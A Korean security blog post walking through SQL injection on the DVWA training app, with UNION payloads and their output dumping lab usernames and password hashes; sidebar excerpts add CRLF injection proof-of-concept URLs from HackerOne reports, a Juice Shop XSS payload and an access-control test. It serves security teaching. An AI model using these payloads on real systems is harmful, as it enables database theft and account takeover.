기본 콘텐츠로 건너뛰기

DVWA SQL Injection


DVWA SQL Injection low

[그림 1]

Summary
[그림1] 는 SQLInjection 공격을 시도해 볼 수 있도록 개발된 폼을 제공하고 있습니다

Description
[그림 1] 은 ' , # , -- ,= 등 SQLInjection 에 취약한 특수문자등을 필터링하지 않아 SQL주입이 가능합니다.


Steps to reproduce

ORDER BY Query
1' order by 1,2#
User ID:  
ID: 1' ORDER BY 1,2#
First name: admin
Surname: admin
UNION Query
' UNION SELECT 1,@@version# 
User ID:  
ID: 1' UNION SELECT 1,version()#
First name: admin
Surname: admin
ID: 1' UNION SELECT 1,version()#
First name: 1
Surname: 10.4.8-MariaDB
' UNION ALL SELECT 1,column_name from information_schema.columns#
User ID:  
ID: ' UNION ALL SELECT 1,column_name from information_schema.columns#
First name: 1
Surname: user_id
ID: ' UNION ALL SELECT 1,column_name from information_schema.columns#
First name: 1
Surname: first_name
ID: ' UNION ALL SELECT 1,column_name from information_schema.columns#
First name: 1
Surname: last_name
ID: ' UNION ALL SELECT 1,column_name from information_schema.columns#
First name: 1
Surname: user
ID: ' UNION ALL SELECT 1,column_name from information_schema.columns#
First name: 1
Surname: password
' UNION ALL SELECT user,password from users#
User ID:  
ID: ' UNION ALL SELECT user,password from users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
ID: ' UNION ALL SELECT user,password from users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03
ID: ' UNION ALL SELECT user,password from users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
ID: ' UNION ALL SELECT user,password from users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
ID: ' UNION ALL SELECT user,password from users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
Impact
Dabase 및 관리자 계정 탈취가 가능합니다.

댓글

이 블로그의 인기 게시물

HackerOne Vulnerability Analysis 1

이 문서는  HackerOne 에서  제출된 많은 보고서들을 토대로 핵심 Payload만 요약하여 직접 작성하였습니다. Link :  https://hackerone.com/ Vulnerabilities list 1. CRLF Injection 2. Open Redirection  3. Cross-Site-Scripting 4. SQL-Injection 5. Path Traversal  CRLF Injection PoC http://www.myshopify.com/xxcrlftest%0aSet-Cookie:test=test3;domain=.myshopify.com; https://www.blackfan.myshopify.com/xxx%0aSet-Cookie:test=test2;domain=.myshopify.com; HTTP Response: HTTP/1.1 302 Moved Temporarily ... Location: http://myshopify.com/xxcrlftest Set-Cookie:test=test;domain=.myshopify.com; PoC: https://engineeringblog.yelp.com/xxcrlftest%0d%0aSet-Cookie:%20test=test;domain=.yelp.com HTTP Response: HTTP/1.1 301 Moved Permanently ... Location: http://engineeringblog.yelp.com/xxcrlftest Set-Cookie: test=test;domain=.yelp.com PoC (Chrome, Internet Explorer) http://gratipay.com/%0dSet-Cookie:csrf_token=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; HTTP Response: Location: h

Juice Shop XSS [ Dom based XSS ]

Juice Shop XSS [ Dom based XSS ] Search 입력란에 악성 스크립트를 넣어 XSS 취약점을 진단합니다. Payload :  <iframe src="javascript:alert(`xss`)">   다음과 같이 이는 < , > 는 &lt; , &gt; 로 특수문자를 필터링하지 않기에 XSS 에 취약합니다.

Juice Shop Broken Access Control [ Basket Access Tier 1 ]

Juice Shop Broken Access Control [ Basket Access Tier 1 ] 이 취약점은 내 장바구니가 아닌 타인의 장바구니를 아무 인증결합 없이 무단으로 조회가 가능한지에 대한 취약점 진단입니다. 장바구니 버툰을 누르는 동시에 패킷을 잡고 클라이언트측 관점에서 다음과 같이 Reqeust 값을 분석합니다. 위와 같이  GET /rest/basket/53   으로 53번이라는 값을 가지고 있습니다. 이는 현재 내 장바구니의 고유 번호인걸로 추측이됩니다. 만약 이 숫자를 내 장바구니의 고유번호인 53이 아닌 , 2 , 3, 13 , 51 이런식으로 다른사람의 장바구니값을 넣게 되면 다른 사람의 장바구니를 무단으로 조회가 가능합니다. 위와같이  GET /rest/basket/53  ->  GET /rest/basket/1   으로 변경 후 , 마찬가지로 GET /rest/basket/3  , GET /rest/basket/7  등을 입력하여 무단으로 다른사람의 장바구니를 조회할수있는지 취약점을 진단합니다. 그 후 , 내 장바구니를 클릭하여 확인 시 , 아래와 같이 내 장바구니가 아닌 다른 사람의 장바구니를 무단으로 접근이 가능하여 접근관련 인증 처리 , 인증결합 취약점에 취약합니다.